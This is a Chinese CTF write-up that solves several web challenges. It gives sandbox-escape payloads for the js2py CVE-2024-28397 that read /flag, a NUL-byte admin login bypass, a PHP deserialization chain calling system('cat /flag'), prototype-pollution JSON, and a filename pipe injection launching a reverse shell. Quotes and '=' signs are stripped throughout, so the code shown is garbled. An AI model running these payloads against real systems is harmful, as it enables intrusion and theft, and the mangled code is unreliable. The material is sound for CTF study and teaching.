初赛anonymity查看源代码提示 svn 泄露只泄露了这一个文件/.svn/wc.db泄露的不是数据库文件这几段只告知了创表相关的字段赛后询问师傅们也没结果到现在也是不了了之EzPython_3一血题源码如下import pyjsparser.parser from flask import Flask, render_template, request, redirect, url_for, session import base64, random, secrets, string, bcrypt, js2py app Flask(__name__) pyjsparser.parser.ENABLE_PYIMPORTFalse users {} users_hash {} salt bcrypt.gensalt() app.secret_key secrets.token_bytes(16) admin badmin admin_password .join(random.choice(string.ascii_letters string.digits) for _ in range(32)) print(admin_password) h bcrypt.hashpw(admin, salt) users[admin] admin_password.encode() users_hash[h] bcrypt.hashpw(admin_password.encode(), salt) print(users, users_hash) app.route(/) def home(): return redirect(url_for(login)) app.route(/login, methods[GET, POST]) def login(): if request.method POST: username: bytes base64.b64decode(request.form[username]) password: bytes base64.b64decode(request.form[password]) if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] bcrypt.hashpw( password, salt): if (bcrypt.hashpw(username, salt) bcrypt.hashpw(badmin, salt) and users_hash[ bcrypt.hashpw(username, salt)] users_hash[bcrypt.hashpw(username, salt)] users_hash[ bcrypt.hashpw(badmin, salt)]): session[is_admin] True return redirect(url_for(admin)) return fWelcome, {username.decode()}! else: return Invalid username or password! return render_template(login.html) app.route(/register, methods[GET, POST]) def register(): if request.method POST: username: bytes base64.b64decode(request.form[username]) password: bytes base64.b64decode(request.form[password]) if username in users: return Username already exists! if len(username) 15: return username is too long users[username] password users_hash[bcrypt.hashpw(username, salt)] bcrypt.hashpw(password, salt) print(users, users_hash) return fUser {username.decode()} registered successfully! return render_template(register.html) app.route(/admin, methods[GET, POST]) def admin(): if session.get(is_admin): if request.method POST: js request.form[jscode] if len(js) 155: return too long try: resultjs2py.eval_js(js) return fok,{result} except Exception as e: return fAn error occurred: {str(e)} else: return render_template(admin.html) else: return redirect(url_for(login)) if __name__ __main__: app.run()四个路由/、/register、/login、/admin访问的目标是 admin 路由要绕过鉴权session.get(is_admin)login 路由bcrypt.hashpw(username, salt) bcrypt.hashpw(badmin, salt)将同一个salt对两个明文做bcrypt等价于username badminapp.route(/login, methods[GET, POST]) def login(): if request.method POST: username: bytes base64.b64decode(request.form[username]) password: bytes base64.b64decode(request.form[password]) if bcrypt.hashpw(username, salt) in users_hash and users_hash[bcrypt.hashpw(username, salt)] bcrypt.hashpw( password, salt): if (bcrypt.hashpw(username, salt) bcrypt.hashpw(badmin, salt) and users_hash[ bcrypt.hashpw(username, salt)] users_hash[bcrypt.hashpw(username, salt)] users_hash[ bcrypt.hashpw(badmin, salt)]): session[is_admin] True return redirect(url_for(admin)) return fWelcome, {username.decode()}! else: return Invalid username or password! return render_template(login.html)bcrypt 72 字节截断超过 72 字节的输入会被忽略但这不帮助弄到和badmin相等的哈希NUL 截断空字节注入是有可能对其进行测试admin\x00 admin\x00A admin\x00admin admin\x00\x00fuzz 结果发现 admin\x00admin密码随意usernameYWRtaW4AYWRtaW4passwordUGFzc3cwcmQh拿到 session进到 /admin 路由app.route(/admin, methods[GET, POST]) def admin(): if session.get(is_admin): if request.method POST: js request.form[jscode] if len(js) 155: return too long try: resultjs2py.eval_js(js) return fok,{result} except Exception as e: return fAn error occurred: {str(e)} else: return render_template(admin.html) else: return redirect(url_for(login))关键代码结果会直接嵌在 {result} 中返回响应包if len(js) 155: return too long try: resultjs2py.eval_js(js) return fok,{result}js2py 只能在非 python3.12 版本下运行我选择 3.10 进行测试。这个库更多用于爬虫检索一下相关文章关于这个库的信息比较少发现 2024 年爆出一则 CVE 漏洞主角就是 js2py.eval_js()直接能 rceMarven11的漏洞文章CVE漏洞详细给了一条链子let cmd id;let a Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;let obj a(a(a,__class__), __base__);function findpopen(o) {let result;for(let i in o.__subclasses__()) {let item o.__subclasses__()[i];if(item.__module__ subprocess item.__name__ Popen) {return item}if(item.__name__ ! type (result findpopen(item))) {return result}}};let result findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();console.log(result);result代码形式于要求完全一致正中靶心但问题是仅有资料的 payload 长度太大无法满足低于 155 的要求需要找到一条更短的链子绕过分析先顺一顺逻辑js2py/evaljs.py::eval() 将传入的 payload 再套一层 PyJsEvalResult eval(%s)随后跟进 execute()在 195 行调用 js2py/translators/translator.py::translate_js()js2py/translators/translating_nodes.py::trans() 从全局变量获取对应节点随后node(**ele)调用每个相关节点这些节点大都也是处理 JS 为 Python 代码关键节点Program会遍历代码的内容并添加变量与函数最终转换成Python代码如调试时 Payload 最终解析为var.registers([]) def PyJs_LONG_0_(varvar): return var.get(eval)(Js(传入的代码)) var.put(PyJsEvalResult, PyJs_LONG_0_())var.get(eval)取到 JS 的内建eval的 Py 包装然后会将传入的字符串交给 JS 引擎再解析一次最简单的利用就是直接通过pyimport进行导入模块它是 js2py 库中一个特殊的关键字它允许在 JS 代码中直接导入并使用 Python 模块pyimport os;var current_dir os.getcwd();current_dir;题目最上面定义了pyjsparser.parser.ENABLE_PYIMPORT False这阻止了显式pyimport语句不能在用它导入模块此时在回到最开始的 poc看看 Marven11 师傅这条利用链是如何实现绕过的关于js2py/constructors/jsobject.py里Object.getOwnPropertyNames我的理解是这样的getOwnPropertyNames返回一个 Python 对象Js() 前面并不识别它于是走到py_wrap()生成了PyObjectWrapperdef getOwnPropertyNames(obj): if not obj.is_object(): raise MakeError( TypeError, Object.getOwnPropertyDescriptor called on non-object) return obj.own.keys() def py_wrap(py): if isinstance(py, (FunctionType, BuiltinFunctionType, MethodType, BuiltinMethodType, dict, int, str, bool, float, list, tuple, long, basestring)) or py is None: return HJs(py) return PyObjectWrapper(py) def Js(val, ClampedFalse): Converts Py type to PyJs type if isinstance(val, PyJs): return val elif val is None: return undefined elif isinstance(val, basestring): return PyJsString(val, StringPrototype) elif isinstance(val, bool): return true if val else false elif isinstance(val, float) or isinstance(val, int) or isinstance( val, long) or (NUMPY_AVAILABLE and isinstance( val, (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16, numpy.int32, numpy.uint32, numpy.float32, numpy.float64))): # This is supposed to speed things up. may not be the case if val in NUM_BANK: return NUM_BANK[val] return PyJsNumber(float(val), NumberPrototype) ... else: # try to convert to js object return py_wrap(val)在调用Object.getOwnPropertyNames()时里面传[]、{}传入非对象参数会报错 能拿到PyObjectWrapper(dict_keys(xxx))于是 JS 层就能访问到 python 属性诸如__class__、__base__、__subclasses__等达成了沙盒逃逸import js2py import pyjsparser pyjsparser.parser.ENABLE_PYIMPORT False code a Object.getOwnPropertyNames({}) b Object.getOwnPropertyNames([]).__class__.__base__ console.log(a, b) js2py.eval_js(code)所以 poc 的 payload 很好理解了通过Object.getOwnPropertyNames({}).__class__.__base__拿到 pythonobject类再写一个递归找subprocess.Popen函数communicate()拿回显这被放弃了太长Python 沙箱逃逸最常见的就是 帧、闭包、函数全局字典拿 builtins或者打 pickle 链但也会非常长也不一定拿到相关的模块在 Python 里有这样一种类型import loader如zipimporter、_frozen_importlib_external家族等这些loader的实例常带有load_module之类的入口而在object基类.__subclasses__()里总带着load_module属性的 loader 类于是保持Object.getOwnPropertyNames({}).__class__.__base__;不变向上找load_module遇到第一个带load_module的就 break用它直接加载内置模块完成读文件/列目录。payload如下读当前工作目录oObject.getOwnPropertyNames({}).__class__.__base__;so.__subclasses__();for(i in s){bs[i];if(b.load_module)break}b.load_module(os).getcwd() #len(143)读目录oObject.getOwnPropertyNames({}).__class__.__base__;so.__subclasses__();for(i in s){bs[i];if(b.load_module)break}b.load_module(posix).listdir(/) #len(150) oObject.getOwnPropertyNames({}).__class__.__base__;so.__subclasses__();for(i in s){bs[i];if(b.load_module)break}b.load_module(os).listdir(/) #len(147)读文件for(i in(s(oObject.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(bs[i],b.load_module)break;b.load_module(_io).open(/flag).read() #len(154) for(i in(s(oObject.getOwnPropertyNames({}).__class__.__base__).__subclasses__()))if(bs[i],b.load_module)break;b.load_module(io).open(/flag).read() #len(153) # DASCTF{23409102560085073674496300485198}决赛决赛为 AWDP 形式easyUploads文件读取拿到源码show.php?file/etc/passwd#show.php ?php if (isset($_GET[file])) { $imagePath $_GET[file]; if (preg_match(/(\/flag|\/fl|\/f|sort|index\.php|show\.php|\.\.\/|\.\/|\/)/i, $imagePath)){ $imagePath img/1.png; } } $imageData file_get_contents($imagePath); if ($imageData ! false) { $finfo finfo_open(FILEINFO_MIME_TYPE); $mimeType finfo_buffer($finfo, $imageData); finfo_close($finfo); header(Content-Type: $mimeType); echo $imageData; exit; } else { echo Image cannot be read.; }#index.php ?php // 启动 session session_start(); Class Dog { public $bone; public $meat; public $beef; public $candy; public function __invoke() { if ((md5($this-meat) md5($this-beef)) ($this-meat ! $this-beef)) { return $this-candy-flag; } } public function __toString() { $function $this-bone; return $function(); } } CLass mouse { public $rice; public function __get($key) { eval($this-rice); } } class Cat { public $fish; public function __construct() { } public function __destruct() { echo $this-fish; } } // 处理文件上传 $message ; $success false; if ($_SERVER[REQUEST_METHOD] POST) { if (isset($_FILES[uploaded_file])) { $uploadDir __DIR__ . /uploads/; $uploadedFile $uploadDir . basename($_FILES[uploaded_file][name]); if (move_uploaded_file($_FILES[uploaded_file][tmp_name], $uploadedFile)) { $message 上传成功; $success true; $fileContent file_get_contents($uploadedFile); unlink($uploadedFile); unserialize($fileContent); $fileContent ; // 设置 session表示上传成功 $_SESSION[upload_success] true; // 重定向防止刷新页面时重复提交表单 header(Location: . $_SERVER[PHP_SELF]); echo $message; exit(); } } } ? !DOCTYPE html html langzh-CN head meta charsetUTF-8 title壁纸上传网站/title style body { background: linear-gradient(135deg, #000000, #ffffff); font-family: Arial, sans-serif; color: #333; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .container { text-align: center; background: rgba(255, 255, 255, 0.9); padding: 30px; border-radius: 10px; box-shadow: 0 0 15px rgba(0,0,0,0.2); width: 400px; } h1 { font-size: 24px; margin-bottom: 20px; color: #000; } .message { font-size: 18px; color: green; margin-bottom: 20px; } input[typefile] { margin: 20px 0; font-size: 16px; } input[typesubmit] { background-color: #333; color: #fff; border: none; padding: 10px 20px; cursor: pointer; border-radius: 5px; } input[typesubmit]:hover { background-color: #555; } .images { margin-top: 40px; } .images-title { font-size: 20px; font-weight: bold; margin-bottom: 20px; color: #444; } .image-item { display: inline-block; margin: 0 10px; } .image-item img { width: 150px; height: 150px; border-radius: 10px; border: 2px solid #333; transition: transform 0.3s; } .image-item img:hover { transform: scale(1.1); } .image-item a { display: block; margin-top: 10px; color: #333; text-decoration: none; font-weight: bold; } .image-item a:hover { color: #555; } /style script function showSuccessAlert() { alert(文件上传成功); } // 页面加载后检查是否上传成功 window.onload function() { ?php if (isset($_SESSION[upload_success]) $_SESSION[upload_success]) : ? showSuccessAlert(); ?php // 清除 session 中的上传成功状态 unset($_SESSION[upload_success]); endif; ? } /script /head body div classcontainer h1壁纸上传网站/h1 ?php if (!empty($message)) : ? div classmessage?php echo $message; ?/div ?php endif; ? form action methodpost enctypemultipart/form-data input typefile nameuploaded_file required br input typesubmit value上传 /form div classimages div classimages-title精美壁纸如下/div !-- 图片 1 -- div classimage-item img src./img/1.png alt壁纸1 a href/show.php?fileimg/1.png target_blank壁纸1/a /div !-- 图片 2 -- div classimage-item img src./img/2.png alt壁纸2 a href/show.php?fileimg/2.png target_blank壁纸2/a /div /div /div /body /html上传文件后会将文件内容反序列化exp 如下?php Class Dog { public $bone; public $meat; public $beef; public $candy; } CLass mouse { public $rice; } class Cat { public $fish; public function __construct($fish) { $this-fish $fish; }} $m new mouse(); $m - rice system(cat /flag);; $d new Dog(); $d - meat 240610708; $d - beef QNKCDZO; $d - bone $d; $d - candy $m; $c new Cat($d); echo (serialize($c)); //O:3:Cat:1:{s:4:fish;O:3:Dog:4:{s:4:bone;r:2;s:4:meat;s:9:240610708;s:4:beef;s:7:QNKCDZO;s:5:candy;O:5:mouse:1:{s:4:rice;s:20:system(cat /flag);;}}}上传拿到 FLAGEasy_shop队友看的这题做完忘截图比赛时赛方直接提示了读app.js拿源码。赛后根据源码复盘一下思路一看肯定要买 FLAG但 MONEY 不够通过购买负数的形式增加余额/buy/2?quantity-100再购买 FLAG提示了一个路由访问路由发现存在任意文件读取漏洞fileName../../../etc/passwd读取 FLAG 提示“你还真读FLAG啊”于是尝试读源码fileName../server.js源码如下const express require(express); const app express(); const fs require(fs); const port 3000; const bodyParser require(body-parser); app.set(view engine, ejs); app.use(express.static(public)); app.use(bodyParser.urlencoded({ extended: true })); let money 1000; const initialMoney 1000; let message ; const products [ { name: 帽子, price: 10 }, { name: 棒球, price: 15 }, { name: iphone, price: 150 }, { name: flag, price: 1500 }, ]; app.get(/showflag, (req, res) { res.render(readfile); }); app.post(/readfile, (req, res) { const fileName req.body.fileName; if (fileName.includes(fl)) { return res.status(200).send(你还真读flag啊); } fs.readFile(/app/public/fileName, utf8, (err, data) { if (err) { res.status(500).send(Error reading the file); } else { res.send(data); } }); }); app.get(/, (req, res) { res.render(index, { products, money, message }); }); app.get(/buy/:productIndex, (req, res) { const productIndex req.params.productIndex; let quantity req.query.quantity || 1; if (productIndex 3) { quantity Math.abs(quantity); if (products[productIndex] money products[productIndex].price * quantity) { money - products[productIndex].price * quantity; message 购买flag成功啦给你/showflag这个路由听说那里面有flag; res.render(index, { products, money, message, showAlert: true }); } else { message flag很贵的; res.redirect(/); } }else{ if (products[productIndex] money products[productIndex].price * quantity) { money - products[productIndex].price * quantity; message 成功购买了 ${quantity} 件 ${products[productIndex].name}; res.render(index, { products, money, message, showAlert: true }); } else { message 购买失败钱不够啊老铁.; res.redirect(/); } } }); function copy(object1, object2) { if (typeof object1 ! object || object1 null || typeof object2 ! object || object2 null) { return; } for (let key in object2) { if ( typeof object2[key] object object2[key] ! null typeof object1[key] object object1[key] ! null ) { copy(object1[key], object2[key]); } else { object1[key] object2[key]; } } } app.post(/getflag, require(body-parser).json(), function (req, res, next) { res.type(html); const flagFilePath /flag; let flag ; fs.readFile(flagFilePath, utf8, (err, data) { if (err) { console.error(无法读取文件: ${flagFilePath}); } else { flag data; var secert {}; var sess req.session; let user {}; copy(user, req.body); if (secert.testattack admin) { res.end(flag); } else { return res.send(no,no,no!); } } }); }); app.get(/reset, (req, res) { money initialMoney; message ; res.redirect(/); }); app.listen(port, () { console.log(Server is running on http://localhost:${port}); });quantity什么也没处理就乘导致了逻辑漏洞money - products[productIndex].price * quantity;接下来就是最基础的原型链污染都是基于Object的原型直接污染即可{__proto__:{testattack:admin}}img2base64复现源码如下import os import re import subprocess from flask import Flask, request, render_template, jsonify app Flask(__name__) UPLOAD_FOLDER uploads/ if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.config[UPLOAD_FOLDER] UPLOAD_FOLDER def checkname(filename): ILLEGAL_CHARACTERS r[*\%;iashto!()\{\}\[\]_^\~\\#] noip re.compile(r\d\.\d) if re.search(ILLEGAL_CHARACTERS, filename): return False if .. in filename : return False if(noip.findall(filename)): return False app.route(/) def upload_form(): return render_template(upload.html) app.route(/upload, methods[POST]) def upload_file(): if file not in request.files: return jsonify({error: No file part in the request}), 400 file request.files[file] if file.filename : return jsonify({error: No file selected}), 400 if(checkname(file.filename)False): return jsonify({error: Not hacking!}), 500 if file: file_path os.path.join(app.config[UPLOAD_FOLDER], file.filename) file.save(file_path) result subprocess.run(fcat {file_path} | base64, shellTrue, capture_outputTrue, textTrue) encoded_string result.stdout.strip() return jsonify({ filename: file.filename, base64: encoded_string }) if __name__ __main__: app.run(host0.0.0.0,port5000)Python subprocess.run()命令执行程序会先进行文件上传对上传的内容不进行任何检测直接保存至uploads/目录下对上传filename检测拼接uploads/filename传给run进行命令执行app.route(/upload, methods[POST]) def upload_file(): if file not in request.files: return jsonify({error: No file part in the request}), 400 file request.files[file] if file.filename : return jsonify({error: No file selected}), 400 if(checkname(file.filename)False): return jsonify({error: Not hacking!}), 500 if file: file_path os.path.join(app.config[UPLOAD_FOLDER], file.filename) file.save(file_path) result subprocess.run(fcat {file_path} | base64, shellTrue, capture_outputTrue, textTrue) encoded_string result.stdout.strip() return jsonify({ filename: file.filename, base64: encoded_string })WAF 过滤了* % ; i a s h t o ! ( ) { } [ ] _ ^ ~ \ #没有过滤|用管道符插入RCEapp.config[UPLOAD_FOLDER] UPLOAD_FOLDER def checkname(filename): ILLEGAL_CHARACTERS r[*\%;iashto!()\{\}\[\]_^\~\\#] noip re.compile(r\d\.\d) if re.search(ILLEGAL_CHARACTERS, filename): return False if .. in filename : return False if(noip.findall(filename)): return False执行一下pwd试试||前错后执行cat 尝试读目录必定报错cat .||pwdi a s h t o ..这些字符不能用无法直接在filename看目录、查文件但之前看到文件内容是完全不做检测的subprocess.run设置shelltrue直接启动shell环境且变量可用$0是 Shell 的位置参数文件内写入反弹 shell在通过管道符执行完成反弹shellcat uploads/111|$0|base64比赛环境内网 FLAG 为 ROOT 权限sudo -l有base64用 base64 读取 FLAG 文件即可赛后就不模拟这个环境了sudo base64 $LFILE | base64 --decodegenshop源码如下from flask import Flask, request, send_file import socket app Flask(webserver) app.route(/, methods[GET]) def index(): return send_file(__file__) app.route(/nc, methods[POST]) def nc(): try: dstport int(request.form[port]) data request.form[data] s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect((127.0.0.1, dstport)) s.send(data.encode()) recvdata b while True: chunk s.recv(2048) if not chunk.strip(): break else: recvdata chunk continue return recvdata except Exception as e: return str(e) app.run(host0.0.0.0, port8080, threadedTrue)提供了socket连接服务被限制访问在 127.0.0.1应该没法直接反弹 Shell可能题目内部设置了别的服务内网探测之后组合利用漏洞推测思路是这样但没环境不好复现了参考https://xz.aliyun.com/news/14369https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/免责声明本文章所涉及仅供技术研究和学习之用。所有操作仅在合法授权的环境中进行绝不用于任何非法活动。作者对因本文章内容导致的任何后果不承担责任。请读者务必遵守相关法律法规合理使用本知识。如果你对本文内容感兴趣欢迎关注我的公众号 “Sh1n Sec”获取更多网络安全、漏洞分析等相关内容。如对于文章中的技术细节有疑问、题目附件有需要欢迎私信我我会尽量帮助解答。期待与您的交流